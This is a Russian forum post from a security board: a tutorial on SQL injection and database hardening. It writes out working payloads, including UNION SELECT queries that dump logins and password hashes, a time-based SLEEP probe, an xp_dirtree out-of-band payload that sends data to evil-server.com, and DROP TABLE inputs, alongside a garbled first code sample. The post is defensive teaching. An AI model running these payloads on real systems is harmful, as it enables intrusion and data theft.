HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.01.2026, 04:19
samhainhf
Новичок
Регистрация: 25.12.2025
Сообщений: 0
С нами: 204456

Репутация: 0
По умолчанию



Присаживайся. Выключи на минуту все эти новостные ленты про нейросети, квантовые компьютеры и блокчейн. Поговорим о чём-то по-настоящему древнем, вечном и позорно актуальном.

Представь дыру. Не метафизическую, а самую что ни на есть конкретную. Дыру в логике, размером с один символ - пропущенную кавычку. Такую маленькую, что её не видно глазу, и такую огромную, что через неё двадцать пять лет подряд вытекают базы данных целых корпораций, логины-пароли миллионов пользователей и государственные секреты.

Это не история про сложный эксплоит нулевого дня. Это история про ' OR '1'='1 - мантру, которая заставляет базы данных предавать своих хозяев. Про то, как самая старая и простая уязвимость в вебе пережила смену технологических эпох, десятки языков программирования и поколения разработчиков. Она старше первой социальной сети, пережила расцвет и падение MySpace и до сих пор чувствует себя прекрасно в эпоху искусственного интеллекта.

Пока ты вылизываешь конфиг веб-сервера, настоящая игра ведётся глубже. Там, где живут данные. Твоя система управления базами данных (СУБД) - это не просто служба, это мозг и память всего твоего проекта. И если злоумышленник доберётся туда, ему уже не нужен root на твоём сервере. У него уже есть всё.

Забудь про эпичные взломы через нулевые дни в ядре. 99% бед начинаются с тупой, обидной ошибки. С того, что кто-то где-то не там поставил кавычку или слепо доверился пользовательскому вводу.

Давай я расскажу тебе одну историю. Не из учебника, а из той реальности, что пахнет дешёвым кофе и паникой в три часа ночи.

История про «Автосалон на коленке».

Жил-был один малый. Решил сделать сайт для продажи б/у автомобилей. Всё как у людей: список машин, фото, поиск по цене. В поиске была простая форма: два поля - «цена от» и «цена до». Написал он её за вечер, на коленке. Логика проста: берёт цифры из полей, подставляет в SQL-запрос и выполняет его.

Выглядело это в коде примерно так:

Код:
query = "SELECT * FROM cars WHERE price >= " + user_min_price + " AND price = 0; DROP TABLE customers; -- AND price = '' OR '1'='1'
всегда истинный. Условие «1=1» верно всегда. Это мантра, открывающая двери.

Мораль? Атакующий даже не ломал пароли. Он не подбирал SSH-ключи. Он просто говорил на языке твоей базы более грамотно, чем твоё приложение. Он играл в LEGO с твоими же кубиками и собрал из них гранату.

Вот о чём мы будем говорить. Не о пафосных атаках, а о культуре. О том, что безопасность - это не про стены, а про понимание. Про то, что твой главный враг - не хакер в маске, а расслабленность.

Ты готовил крепость, но забыл про потайную калитку, которую сам же и оставил. Она называется «доверие к вводу пользователя».

Дальше будет только интереснее. Поговорим про то, как эта калитка выглядит (
Код:
UNION SELECT
), как её ищут вслепую (когда сайт только «моргает») и как закрыть на все замки. Но сначала я расскажу откуда вообще ноги растут. Углубимся в историю.




SQL-инъекциям исполнилось 25 лет, а мы всё ещё учимся. История дыры, которую не могут залатать

Ирония судьбы: один из старейших и самых разрушительных векторов атаки родился не в подпольных чатах, а в публичном журнале для энтузиастов, и его принцип не изменился ни на йоту. Добро пожаловать в историю SQL-инъекции - нескончаемого сериала о человеческой беспечности и том, как ' OR '1'='1 покорял мир.

Эпоха первооткрывателей (1998–2003): Рождение из невинности
Все началось почти мирно. 25 декабря 1998 года, пока обыватели наряжали ёлки, исследователь Джефф Форристал (Rain Forest Puppy) публикует в журнале Phrack статью «NT Web Technology Vulnerabilities». В ней он методично описал, как можно манипулировать запросами к базам данных через веб-формы. Это не был взлом - это было публичное предупреждение, техническое описание того, что происходит, когда ты слепо склеиваешь SQL-запрос из строк и пользовательского ввода. Сообщество отреагировало примерно как на предсказание конца света: «Интересно, но это не про нас».

Первый звонок прозвенел в 2002 году, когда хакеры провели демонстрационную атаку на сеть магазинов Guess. Через уязвимую веб-форму они вытянули данные более 200 000 кредитных карт. Мир впервые увидел ценник одной пропущенной кавычки. Но настоящий шок наступил в январе 2003-го с червём SQL Slammer. Он не крал данные - он парализовывал всё на своём пути, используя дыру в Microsoft SQL Server. За 10 минут было заражено 75 000 машин, скорость распространения сломала интернет. Внезапно выяснилось, что SQL-уязвимости - это не только тихая кража, но и оружие массового поражения для цифровой инфраструктуры.

Эпоха институционализации (2003–2010): Из хака в регламент
После Slammer индустрия перестала ухмыляться. В 2003 году проект OWASP (Open Web Application Security Project) выпускает свой первый рейтинг главных угроз - OWASP Top-10. И да, инъекции, возглавляемые SQLi, уже заняли там почётное первое место, где и остаются с переменным успехом по сей день. SQLi перестал быть «продвинутой техникой» - он стал базовой проверкой на вшивость для любого пентестера.

К концу нулевых SQL-инъекция превратилась в конвейер. В 2007 году хакеры использовали её в атаке на розничную сеть TJX Companies, похитив данные около 94 миллионов кредитных карт. Это был уже не одиночный взлом, а отлаженный промышленный процесс: найти уязвимый сайт, внедриться, выгрузить дампы, продать данные на чёрном рынке. ЦРУ и АНБ в своих документах того периода отмечали SQLi как один из ключевых векторов для сбора разведданных. Дыра из журнала для гиков стала инструментом государств.

Эпоха массового производства (2011–2019): Инструмент в руках каждого
2010-е стёрли последние барьеры. Появились мощные автоматизированные сканеры вроде sqlmap- инструмент, который может найти и использовать SQLi быстрее, чем junior-разработчик успевает налить себе кофе. Он сделал сложные техники - слепые инъекции (Blind SQLi) или извлечение данных через временные задержки (Time-based) - доступными даже для скрипт-кидди.

Хактивистские группировки вроде LulzSec в 2011 году превратили SQL-инъекцию в средство публичного унижения корпораций и правительств. Они не просто крали данные - они вываливали их в открытый доступ, сопровождая язвительными комментариями в Twitter. SQLi стал орудием пропаганды. Одновременно с этим рынок краденых данных ушёл в глубокий веб, где логины и пароли, добытые через инъекции, продавались пачками, как картошка на оптовом рынке.

Эпоха живучести (2020–наши дни): Динозавр, который не вымирает
Казалось бы, в 2020-х, с повсеместным использованием ORM (Hibernate, Eloquent) и фреймворков, эта дыра должна была исчезнуть. Но нет. В 2020 году хакеры использовали SQL-инъекцию для взлома сайтов офисов Дональда Трампа. В 2021-м исследователи находили критические уязвимости такого типа в крупнейших системах управления контентом. Почему?

Ответ - в наследии и человеческом факторе.
  1. Горы легаси-кода: Миллионы строк старого корпоративного кода, написанного в 2000-х на PHP или ASP, до сих пор работают. Их никто не переписывает, пока они приносят деньги.
  2. Иллюзия безопасности: Разработчики думают, что использование модного фреймворка или ORM автоматически защищает их. Но ORM - это всего лишь генератор SQL. Если им пользоваться бездумно (например, составлять «сырые» запросы через QueryBuilder), можно наступить на те же грабли.
  3. Сложные векторы: Атаки стали тоньше. Вместо ' OR '1'='1 используются цепочки из сотен запросов, которые вытягивают данные по битам, анализируя время отклика базы (слепые инъекции). Это сложно обнаружить стандартными системами мониторинга.
Почему эта история ещё не закончилась?
Потому что SQL-инъекция - это не «баг» в программном обеспечении. Это фундаментальный разрыв между намерением программиста и интерпретацией машины. Это ошибка в модели доверия: разработчик по умолчанию доверяет данным, которые пришли извне. И пока люди пишут код, они будут совершать эту ошибку.

Защита известна десятилетиями - параметризованные запросы (Prepared Statements), где код и данные передаются раздельно. Это не ракетостроение. Но её внедрение требует не столько технических навыков, сколько дисциплины и культуры безопасности, которые в большинстве компаний до сих пор проигрывают давлению дедлайнов.

SQL-инъекция - это цифровой кекс, который мы печём уже 25 лет по одному и тому же рецепту. Она пережила смену технологических эпох, потому что эксплуатирует не слабость машин, а слабость человеческой логики. И пока мы учим ИИ писать код, стоит убедиться, что мы не научили его повторять наши старые ошибки. Иначе следующая большая утечка данных будет подготовлена не человеком, а алгоритмом, который мы сами и создали.

Но довольно истории, перейдем к реальным вещам.

SQLi

Итак, в начале мы поняли, что дыра возникает, когда твой код слепо лепит пользовательский ввод в SQL-команду. Теперь посмотрим, какую именно дрянь можно запихнуть в это поле, кроме банального
Код:
' OR '1'='1
. Это не просто трюки, это логика. Поняв её, ты начнёшь видеть дыры глазами того, кто хочет их использовать. И это лучший способ их закрыть.

Классика жанра: Union-based - когда тебе всё вываливают в лицо.

Представь ту же форму поиска машин, но теперь злоумышленник вводит не просто мантру, а осознанный запрос.

Он сначала выясняет, сколько столбцов возвращает оригинальный запрос. Методом научного тыка:
Код:
' ORDER BY 1--
,
Код:
' ORDER BY 2--
, пока не получит ошибку. Допустим, столбцов 4.

Теперь он строит свой
Код:
UNION SELECT
. Весь запрос приложения может превратиться в:

Код:


Код:
SELECT id, model, price, year FROM cars WHERE model LIKE '%' UNION SELECT 1,2,3,4-- %'
Если на сайте вместо названия машины вдруг отобразились цифры 2, 3 и 4 - значит, эти поля выводятся на экран и в них можно впихнуть что угодно.

А теперь - магия. Меняем запрос:

Код:


Код:
... UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database()--
И на месте, где должна быть модель Ford Focus, красуется название служебной таблицы, например,
Код:
user_credentials
. Потом:

Код:


Код:
... UNION SELECT 1, concat(login, ':', password_hash), 3, 4 FROM user_credentials--
Итог: Через форму поиска по моделям автомобилей на экран выгружаются логины и хэши паролей всей системы. Всё потому, что злоумышленник использовал
Код:
UNION
- оператор объединения результатов двух запросов. Он не ломал, он просил базу выдать ему данные, и та послушно выполняла.

Где встречается в реале: Любая фильтрация: поиск, выборка по категориям, фильтры в админке. Если при вводе кавычки получаешь ошибку СУБД - считай, половина дела сделана.

Слепой, но опасный (Blind SQL Injection): когда сайт только "моргает".

А что, если разработчик не выводит результаты запроса на экран? Ошибки съедаются,
Код:
UNION
ничего не показывает. Казалось бы, тупик. Но нет.

Злоумышленник переходит к диалогу с базой в двоичном коде. Он задаёт вопросы, на которые база может ответить только "ДА" (истина) или "НЕТ" (ложь), а ответ он считывает по косвенным признакам.

Разновидность 1: На основе времени (Time-based).
Он внедряет команду, которая заставляет базу подождать, если условие верно. Пример запроса для MySQL:

Код:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
Расшифровываем: "Если первая буква имени текущей базы данных - 'a', то усни на 5 секунд, иначе верни 0".

Злоумышленник смотрит на таймер. Запрос висит 5 секунд? Значит, первая буква - 'a'. Не висит? Пробует 'b'. И так, буква за буквой, как взлом сейфа с цифровым замком, он узнаёт имена баз, таблиц, логинов. Автоматизированными инструментами это делается за минуты.

Где встречается в реале: Любая форма, где нет прямого вывода данных, но есть реакция: "Пользователь не найден", "Неверный код". Или просто страница при верном и неверном запросе грузится чуть-чуть по-разному. Разница в миллисекунды, но её можно поймать.

Out-of-band (OOB) атака: когда атакуют не "в лоб", а через чёрный ход.

Самый изящный и часто незамечаемый вариант. Представь, что приложение не выводит результаты запроса и не даёт заметить разницу во времени. Но оно позволяет выполнять определённые функции СУБД.

Злоумышленник может внедрить команду, которая заставит базу данных самой инициировать соединение с его сервером и передать данные в этом запросе.

Пример для Microsoft SQL Server (MSSQL), если включена старая добрая функция
Код:
xp_dirtree
:

SQL:


Код:
'; EXEC master..xp_dirtree '
\\evil
-
server
.
com\'
+
(
SELECT
TOP
1
login
FROM
users
)
--'
Что происходит:
  1. База данных пытается обратиться к сетевой папке
    Код:
    \\evil-server.com\
    .
  2. В имя папки (до обратного слеша) она подставляет результат вложенного запроса - например,
    Код:
    admin
    .
  3. Итоговый путь:
    Код:
    \\evil-server.com\admin
    .
  4. Сервер злоумышленника (
    Код:
    evil-server.com
    ) видит в логах DNS или HTTP попытку доступа к ресурсу
    Код:
    admin
    и понимает: "Ага, первый логин в таблице
    Код:
    users
    -
    Код:
    admin
    ".
Данные утекли не через основное приложение, а через побочный канал, как вода через трещину в трубе.

Инструмент в руки: Sqlmap - не меч, а стетоскоп.

Ты сейчас подумал: "Это же ад, так вручную никто не делает". И будешь прав. Для этого есть
Код:
sqlmap
. Но запомни главное: этот инструмент - для тестирования СВОИХ приложений. Запуск его на чужих ресурсах - не хакерство, а уголовщина. Ты же не будешь тренироваться делать уколы на случайных прохожих?

Зачем он тебе: Чтобы быстро и методично проверить свой же код на все описанные выше глупости. Он автоматизирует весь этот процесс подбора, UNION'ов и слепых атак.

Пример проверки своей формы логина:
Представь, у тебя есть сайт
Код:
http://my-cool-site.local/login.php
. Форма отправляет POST-запрос с полями
Код:
username
и
Код:
password
.

Ты можешь в тестовом окружении (не на боевом сервере!) запустить что-то вроде:

Bash:


Код:
sqlmap -u
"http://my-cool-site.local/login.php"
\
--data
=
"username=test&password=test"
\
--level
=
2
\
--risk
=
1
\
--batch
  • Код:
    -u
    - цель.
  • Код:
    --data
    - данные POST-запроса.
  • Код:
    --level
    и
    Код:
    --risk
    - повышают "дотошность" проверки (начни с низких).
  • Код:
    --batch
    - чтобы не отвечать на вопросы, по умолчанию.
Если sqlmap начнёт радостно сообщать о найденных инъекциях - у тебя не баг, а провал в архитектуре. Это красная лампочка. Не игнорируй её.

Использовать sqlmap для поиска уязвимостей - это как включить детектор угарного газа в квартире. Если он запищал - не надо заклеивать его скотчем. Надо проветривать и чинить печь.

SQL-инъекция - это не одна дыра. Это язык общения с твоей БД в обход твоего приложения. Union-based кричит громко, Blind - шепчет на ушко, OOB - передаёт записки через третьи руки.

Понимая это, ты перестаёшь видеть просто "поле ввода". Ты начинаешь видеть интерпретатор SQL, который ты сам, по глупости, подсунул пользователю.

Дальше будем говорить о том, как запирать эту дверь. Но не на висячий замок
Код:
mysql_real_escape_string()
, а на сейфовую дверь с кодом.

Аутентификация и авторизация: Дверь есть, а косяка нет.

Ты ещё здесь? Отлично. Значит, осознал, что оставлять SQL-интерпретатор на видном месте - плохая идея. Но что, если злоумышленник даже не будет играть в эти игры? Что, если он просто постучится в главную дверь твоей СУБД? Не через приложение, а напрямую, на порт 5432 или 3306.

Разделим сразу: Аутентификация - это проверка, что ты есть ты. Авторизация - это проверка, что тебе можно вот это конкретное действие.

Аутентификация: «Кто ты?» - «Я свой!» - «Ну ладно...»

Вот тебе задачка на засыпку: какой самый популярный пароль к MySQL в продакшене маленькой конторы? Не
Код:
root
, не
Код:
admin
. Чаще всего это... пустая строка. Или
Код:
password
. Или, смайлик судьбы, пароль, совпадающий с логином:
Код:
root:root
.

«Да кто ж так делает?» - спросишь ты. А вот идут отчёты с Shodan каждый день. Shodan - это не поисковик сайтов. Это поисковик всего, что торчит в интернет. Холодильников, камер, промышленных контроллеров и, о ужас, баз данных.

Картина маслом:
  1. Админ ставит PostgreSQL для внутреннего сервиса.
  2. Чтобы «не париться», оставляет дефолтного пользователя
    Код:
    postgres
    с паролем
    Код:
    postgres
    или вовсе без пароля. «Он же только из локальной сети!» - говорит он.
  3. Через месяц сервис надо показать клиенту. Быстренько пробрасываем порт 5432 на белый IP через
    Код:
    ngrok
    или, что чаще, меняем одну строчку в конфиге
    Код:
    postgresql.conf
    :
    Код:
    listen_addresses = '*'
    . «Ну ненадолго!»
  4. Через 15 минут бот, сканирующий интернет на
    Код:
    5432/tcp
    , радостно стучится. Логин:
    Код:
    postgres
    , пароль:
    Код:
    postgres
    . Привет, полный доступ ко всем базам. Всё. Игрок покинул чат.
Практика: как проверить себя.

Зайди на свой сервер и выполни:

Bash:


Код:
sudo
netstat
-tlnp
|
grep
-E
'(5432|3306|27017)'
Увидел, что слушает на
Код:
0.0.0.0
или
Код:
:::
? Плохой знак. А теперь попробуй подключиться к своей же БД с другой машины в той же сети (или с локалхоста, сымитировав внешнего):

Bash:


Код:
# Для MySQL
mysql -u root -p -h IP_ТВОЕГО_СЕРВЕРА
# Для PostgreSQL
psql -U postgres -h IP_ТВОЕГО_СЕРВЕРА -W
Если подключился с дефолтными кредами - ты уже в беде. Если запросил пароль - уже лучше, но это только начало.

Авторизация: Принцип наименьших привилегий - не для параноиков, а для выживших.

Допустим, у тебя крутое веб-приложение. Ему нужно читать и писать данные. Как ты его подключаешь к БД?

Вариант А (плохой, но частый): Берёшь пользователя
Код:
root
/
Код:
postgres
и вписываешь его в
Код:
config.php
. «Ему же всё нужно!».

Почему это провал: Потому что если через это приложение (допустим, через ту же SQL-инъекцию в форме обратной связи) злоумышленник получит возможность выполнить произвольный SQL, он будет делать это от имени root. Он удалит не одну таблицу, а всю БД. Он создаст своих пользователей. Он сделает дамп и выгрузит его себе. Права
Код:
ALL PRIVILEGES
- это не функция, это оружие массового поражения в руках приложения.

Вариант Б (правильный): Создать отдельного пользователя только для этого приложения, с правами только на нужные операции и только в нужной базе.

Пример для PostgreSQL:

SQL:


Код:
-- 1. Создаём отдельную БД для приложения (если ещё нет)
CREATE
DATABASE
myapp_prod
;
-- 2. Создаём пользователя. Пароль придумай серьёзный, не 'qwerty'.
CREATE
USER
myapp_user
WITH
PASSWORD
'StRoNg!PaSs2024'
;
-- 3. Даём права ТОЛЬКО на эту БД и ТОЛЬКО на нужные операции.
GRANT
CONNECT
ON
DATABASE
myapp_prod
TO
myapp_user
;
GRANT
SELECT
,
INSERT
,
UPDATE
,
DELETE
ON
ALL
TABLES
IN
SCHEMA
public
TO
myapp_user
;
-- Если приложение использует последовательности (serial)
GRANT
USAGE
,
SELECT
ON
ALL
SEQUENCES
IN
SCHEMA
public
TO
myapp_user
;
Вот и всё. Теперь твой
Код:
config.php
использует
Код:
myapp_user
. Если через приложение попытаются выполнить
Код:
DROP TABLE users;
, СУБД вежливо ответит:
Код:
ERROR: permission denied for table users
. Атака остановлена на уровне архитектуры, а не в коде.

Это и есть принцип наименьших привилегий: давать ровно столько прав, сколько необходимо для работы, и ни битом больше.

Хэши - Почему «зашифровано» ≠ «безопасно».

Часто вижу в схемах БД табличку
Код:
users
с полем
Код:
password
, где лежит что-то вроде
Код:
d8578edf8458ce06fbc5bb76a58c5ca4
. Это MD5-хэш. Это слабо. Это можно расколотить по радужным таблицам за секунды.

Но хуже, когда там лежит пароль в открытом виде или «зашифрованный» самописным алгоритмом на XOR. Если злоумышленник получил доступ на чтение к этой таблице (см.
Код:
UNION SELECT
выше) - считай, все аккаунты уже скомпрометированы.

Как надо:
  1. Никогда не храни пароли в открытом виде. Никогда. Даже «для внутреннего тестирования».
  2. Используй современные, медленные алгоритмы хэширования, предназначенные именно для паролей:
    Код:
    bcrypt
    ,
    Код:
    scrypt
    ,
    Код:
    argon2
    . Их ключевая фича - они затратны по вычислениям и памяти, что убивает перебор.
  3. Используй соль (salt). Современные функции делают это автоматически.
Как это выглядит в реальной схеме (например, в PostgreSQL):

SQL:


Код:
CREATE
TABLE
users
(
id
SERIAL
PRIMARY
KEY
,
login
VARCHAR
(
50
)
UNIQUE
NOT
NULL
,
-- Для bcrypt хэша достаточно 60 символов, но лучше с запасом.
password_hash
CHAR
(
128
)
NOT
NULL
,
created_at
TIMESTAMP
DEFAULT
NOW
(
)
)
;
А в код приложения (на примере Python с
Код:
bcrypt
):

Python:


Код:
import
bcrypt
# При регистрации
password
=
b"user_password_123"
# Генерируем соль и хэшируем (автоматически)
hashed
=
bcrypt
.
hashpw
(
password
,
bcrypt
.
gensalt
(
rounds
=
12
)
)
# Сохраняем hashed в БД как bytes или строку
# При проверке логина
input_password
=
b"user_password_123"
stored_hash
=
hashed_from_db
if
bcrypt
.
checkpw
(
input_password
,
stored_hash
)
:
print
(
"Добро пожаловать!"
)
Суть: Даже если утечка БД произойдёт, взлом этих хэшей будет настолько долгим и дорогим, что злоумышленнику станет скучно. Он пойдёт искать контору, где пароли хранятся в MD5.



Безопасная настройка: Выключи всё, что не дышит.

Ты всё ещё со мной? Хороший знак. Значит,
Код:
root
с паролем
Код:
root
ты уже прибил, а для своего веб-приложения завел скромного пользователя
Код:
myapp_user
с урезанными правами. Но это только начало пути. Теперь нужно сделать так, чтобы даже если враг окажется внутри периметра, он споткнулся о вторую, третью и десятую линию обороны.

Конфигурация по умолчанию любой СУБД создана для удобства развертывания, а не для выживания в дикой среде. Наша задача - переломить эту парадигму.

Сетевая изоляция: «А почему постгрес светится на весь интернет?»

Классика. Поднимаешь БД для нового пет-проекта, а через полгода замечаешь в логах кучу левых попыток подключения. Потому что какой-нибудь бот давно просканировал порт
Код:
0.0.0.0:5432
и теперь методично стучится, подбирая пароли.

Что делать:

Жёсткий способ: Firewall. Правило
Код:
ufw
(если ты на Ubuntu) - твой лучший друг.

Код:


Код:
bash
    # Разрешаем подключение к СУБД ТОЛЬКО с конкретного IP (например, IP твоего веб-сервера)
    sudo ufw allow from 192.168.1.100 to any port 5432
    # Запрещаем всем остальным
    sudo ufw deny 5432
Нет веб-сервера в отдельной сети? Тогда хотя бы ограничь локальной сетью:

Код:


Код:
bash
    sudo ufw allow from 192.168.1.0/24 to any port 5432
Правильный способ: Конфиг СУБД. Открывай
Код:
postgresql.conf
или
Код:
mysqld.cnf
и ищи строку
Код:
listen_addresses
(PG) или
Код:
bind-address
(MySQL).
* Плохо:
Код:
listen_addresses = '*'
* Хорошо:
Код:
listen_addresses = 'localhost, 192.168.1.100'
(только локалхост и IP веб-сервера)
* Идеально (если БД и приложение на одной машине):
Код:
listen_addresses = 'localhost'
. Соединение через Unix-сокет, без сетевого стека вообще.

Суть: Если к твоей БД нельзя подключиться из интернета, ты автоматически отсекаешь 99% автоматических атак. Это не панацея, но это огромный фильтр.

Шифрование соединений (SSL/TLS): Сосед по офиcному Wi-Fi - не друг.

Представь: ты запустил БД на внутреннем сервере в дата-центре. «Он же внутри сети!» - думаешь ты. А теперь вспомни, кто ещё есть в этой сети? Другие арендаторы, виртуалки потенциальных конкурентов, недовольные сотрудники. Если трафик между твоим приложением и БД не шифруется, любой, кто имеет доступ к тому же сетевому сегменту, может прослушать его. Логины, пароли, сами запросы с данными - всё как на ладони.

Что делать: Включить SSL. Это не опционально.

Для PostgreSQL:

Генерируем или получаем сертификаты (самоподписанные на первое время сойдут).

В
Код:
postgresql.conf
:

Код:


Код:
ini
    ssl = on
    ssl_cert_file = '/path/to/server.crt'
    ssl_key_file = '/path/to/server.key'
В
Код:
pg_hba.conf
можно требовать SSL для определённых хостов:

Код:


Код:
ini
    hostssl all all 192.168.1.0/24 md5
Ключевое -
Код:
hostssl
. Без SSL подключение с этого адреса будет отвергнуто.

Для MySQL:
В
Код:
my.cnf
в секции
Код:
[mysqld]
:

INI:


Код:
ssl-ca
=/path/to/ca.pem
ssl-cert
=/path/to/server-cert.pem
ssl-key
=/path/to/server-key.pem
Проверка: После перезапуска подключись и выполни:
  • PG:
    Код:
    SHOW ssl;
    - если
    Код:
    on
    , то всё ок.
  • MySQL:
    Код:
    SHOW STATUS LIKE 'Ssl_cipher';
    - должен быть непустой.
Это как не кричать пароль от карты через весь офис, а передать записку в запечатанном конверте. Даже если его перехватят, прочитать не смогут.

Аудит и логи: «Кто это сделал DROP в три ночи?»

Представь, прорвались. Или кто-то внутри накосячил. Как понять, что произошло? Без логов ты слепой.

Включаем логирование подключений и «опасных» команд. В том же
Код:
postgresql.conf
:

Код:


Код:
ini
    log_connections = on
    log_disconnections = on
    log_statement = 'ddl'  # Логируем CREATE, ALTER, DROP
    # или даже 'mod' (ddl + data-modifying: INSERT, UPDATE, DELETE)
Для MySQL в
Код:
my.cnf
:

Код:


Код:
ini
    general_log = 1
    general_log_file = /var/log/mysql/general.log
    # Или лучше только slow queries + ошибки
    log_error = /var/log/mysql/error.log
    slow_query_log = 1
Куда смотреть и как не сойти с ума.
Логи быстро растут. Надо уметь их фильтровать. Самый простой друг -
Код:
grep
.

Код:


Код:
bash
    # Ищем неудачные попытки входа в PostgreSQL
    grep -i "password authentication failed" /var/log/postgresql/postgresql-14-main.log

    # Ищем все DROP или ALTER команды
    grep -E "(DROP|ALTER)" /var/log/postgresql/postgresql-14-main.log | tail -20

    # Смотрим откуда чаще всего стучатся
    grep "connection authorized" /var/log/postgresql/postgresql-14-main.log | awk '{print $7}' | sort | uniq -c | sort -nr
Увидел кучу попыток с одного левого IP? Добавляй его в
Код:
ufw deny
. Нашёл неожиданный
Код:
DROP TABLE
от пользователя приложения? Значит, у него слишком много прав (см. часть 3).

Следующий уровень: централизованный сбор логов. Если серверов больше одного, смотри в сторону
Код:
rsyslog
,
Код:
Fluentd
или
Код:
Loki
. Но это уже для продвинутых. Начинать можно с простого.

Суть: Логи - это не для галочки. Это чёрный ящик твоей БД. По ним ты можешь восстановить картину произошедшего, найти источник атаки и доказать вину. Не ленись их включать и хотя бы изредка поглядывать.

Обновления: Скучно, но необходимо.

Ты же не до сих пор на Windows XP? Вот и с СУБД так же. Уязвимости находят постоянно. И речь не только о сложных 0-day, о которых пишут на форумах.

Речь о старых, известных годами дырах, по которым уже есть публичные эксплоиты в метасплоите. Самая частая причина взлома - не нулевой день, а неустановленный патч двухлетней давности.

Что делать:
  1. Подписаться на рассылки безопасности для твоей СУБД (например,
    Код:
    pgsql-announce
    для PostgreSQL).
  2. Иметь план обновления. Не лезть срочно на продакшн, но иметь тестовый стенд, где ты проверяешь минорные обновления (с
    Код:
    11.21
    на
    Код:
    11.22
    ). Мажорные (с
    Код:
    11
    на
    Код:
    12
    ) - это отдельная история с миграцией, но и их нельзя игнорировать вечно.
  3. Автоматизировать безопасные обновления. Для убунту это
    Код:
    unattended-upgrades
    . Настроить его на установку только обновлений безопасности.
Система, которую ты не обновляешь, - это не система. Это мина замедленного действия. Патчи - это не про новые фичи, это про заделку щелей в твоём бронежилете.

Методы защиты:

Подготовленные выражения (Prepared Statements): Твой главный и единственный по-настоящему работающий щит.

Что это: Prepared Statements (параметризованные запросы) - это когда ты отправляешь в СУБД шаблон запроса и данные отдельно. СУБД компилирует шаблон один раз, а потом лишь подставляет в него данные, невозможные интерпретировать как команды. Даже если в данных будет
Код:
' OR '1'='1
, это останется просто строкой для поиска, а не частью SQL.

Пример на пальцах (Python + psycopg2):

Студенческий кошмар (как НЕ надо):

Python:


Код:
user_input
=
"'; DROP TABLE users; --"
query
=
f"SELECT * FROM products WHERE name = '{user_input}'"
cursor
.
execute
(
query
)
# Прощай, таблица users.
Ремесленный подход (как НАДО):

Python:


Код:
user_input
=
"'; DROP TABLE users; --"
query
=
"SELECT * FROM products WHERE name = %s"
# %s - placeholder
cursor
.
execute
(
query
,
(
user_input
,
)
)
# База ищет товар с буквальным названием "'; DROP TABLE users; --". Ничего не сломается.
Почему это работает на уровне вселенной: Потому что СУБД сама знает, где в скомпилированном плане запроса находятся «параметры». Она не слепляет строки. Это как отправить на завод форму для печати футболок и отдельно - текст. Надпись
Код:
"DROP TABLE"
никогда не будет воспринята как инструкция к станку.

Где применять: Везде, где в запрос попадают пользовательские данные. Логин, поиск, фильтры, ID в URL (
Код:
/product?id=123
).

Валидация и эскейпинг: Доверяй, но проверяй.

Prepared Statements - это святое. Но хороший мастер страхуется.
  • Валидация: Если в поле «год рождения» должно быть число от 1900 до 2024 - проверь, что это именно число и оно в диапазоне. Если email - прогони через простенький regex. Это не для «безопасности», а для целостности данных и отсева 99% мусора.
  • Эскейпинг (для крайних случаев): Бывают ситуации, когда prepared statement не применить (например, динамические имена таблиц или столбцов). Вот тут надо экранировать, используя штатные средства СУБД для идентификаторов. Никаких самописных велосипедов!
Плохо (ручной велосипед):

PHP:


Код:
$table
=
$_GET
[
'table'
]
;
// кто-то передаст `users; --`
$query
=
"SELECT * FROM "
.
$table
.
" WHERE id = 1"
;
Сносно (использование встроенных функций):

PHP:


Код:
$table
=
pg_escape_identifier
(
$_GET
[
'table'
]
)
;
// Экранирует имя таблицы
$query
=
"SELECT * FROM "
.
$table
.
" WHERE id = 1"
;
Но помни: если можешь избежать динамических идентификаторов - избегай. Если нет - строго белый список:
Код:
if table_name not in ['products', 'users']: reject()
.

WAF'ы и мониторинг: Датчик дыма, а не огнетушитель.

Web Application Firewall (WAF) - это не волшебная таблетка. Это сигнализация и первый рубеж обороны. Он ловит известные шаблоны атак (как сигнатурный антивирус) и может заблокировать или затормозить подозрительный трафик.

Что ставить:
  1. ModSecurity с базой правил OWASP Core Rule Set (CRS) - стандарт де-факто. Встает перед твоим nginx/apache.
  2. NAXSI для nginx - более проще, но эффективно.
  3. Cloudflare WAF - если лень возиться, но есть бюджет.
Суровая правда: Любой WAF обходим. Цель WAF - не остановить целенаправленную атаку APT, а отсеять мусорный трафик, ботов и скрипт-кидди. И, что важнее, дать тебе запись в логе о попытке атаки. Если в логах WAF пусто - это либо очень хорошо, либо очень плохо.

Как мониторить:

Bash:


Код:
# Простой алерт на массовые 400-е от WAF
tail
-f /var/log/nginx/modsec_audit.log
|
grep
-E
"id \"9[0-9]{5}\""
# Ищем ID правил OWASP SQLi
Настроил алерт в Telegram/Bot/Slack на такое - и ты уже знаешь, когда на тебя начинают давить.

Заключение

Давай расставим последние точки над i, без пафоса и водных процедур.

Что, по сути, произошло? Мы не изучали «атаки». Мы изучали цепочку человеческих ошибок, которые превращают мощный инструмент в дырявое корыто. От каскадёра, который пишет запросы склеиванием строк, до сисадмина, оставляющего пароль
Код:
postgres
для удалённого доступа. Каждый этап - это невидимый щелчок по носу, который в итоге складывается в полноценную пощёчину от реальности.

SQL-инъекция оказалась не сложным хакерским приёмом, а грамматической ошибкой в диалоге с базой данных. Ты говорил с ней на языке SQL, но дал в руки пользователю не проверенный словарь, а мелок для граффити. И кто-то написал этим мелом на стене твоего храма данных: «Здесь был Вася».

Аутентификация и авторизация - это не скучные поля в конфиге. Это вопросы, которые твоя система задаёт каждому, кто стучится в дверь. «Ты кто?» и «А тебе зачем?». Оставлять на них ответы по умолчанию - всё равно что привязать ключ от сейфа к двери скотчем. Удобно? Да. Гениально? Нет.

Безопасная настройка - это не про «включить все галочки». Это про принцип «отсекай лишнее». Сетевой доступ? Отрезать. Лишние права? Отрезать. Незашифрованный трафик? Да ты шутишь. Твоя БД в идеале должна быть как подводная лодка: снаружи - лишь голый корпус, а внутри - сложная система клапанов, где у каждого есть своя роль и ничего лишнего.

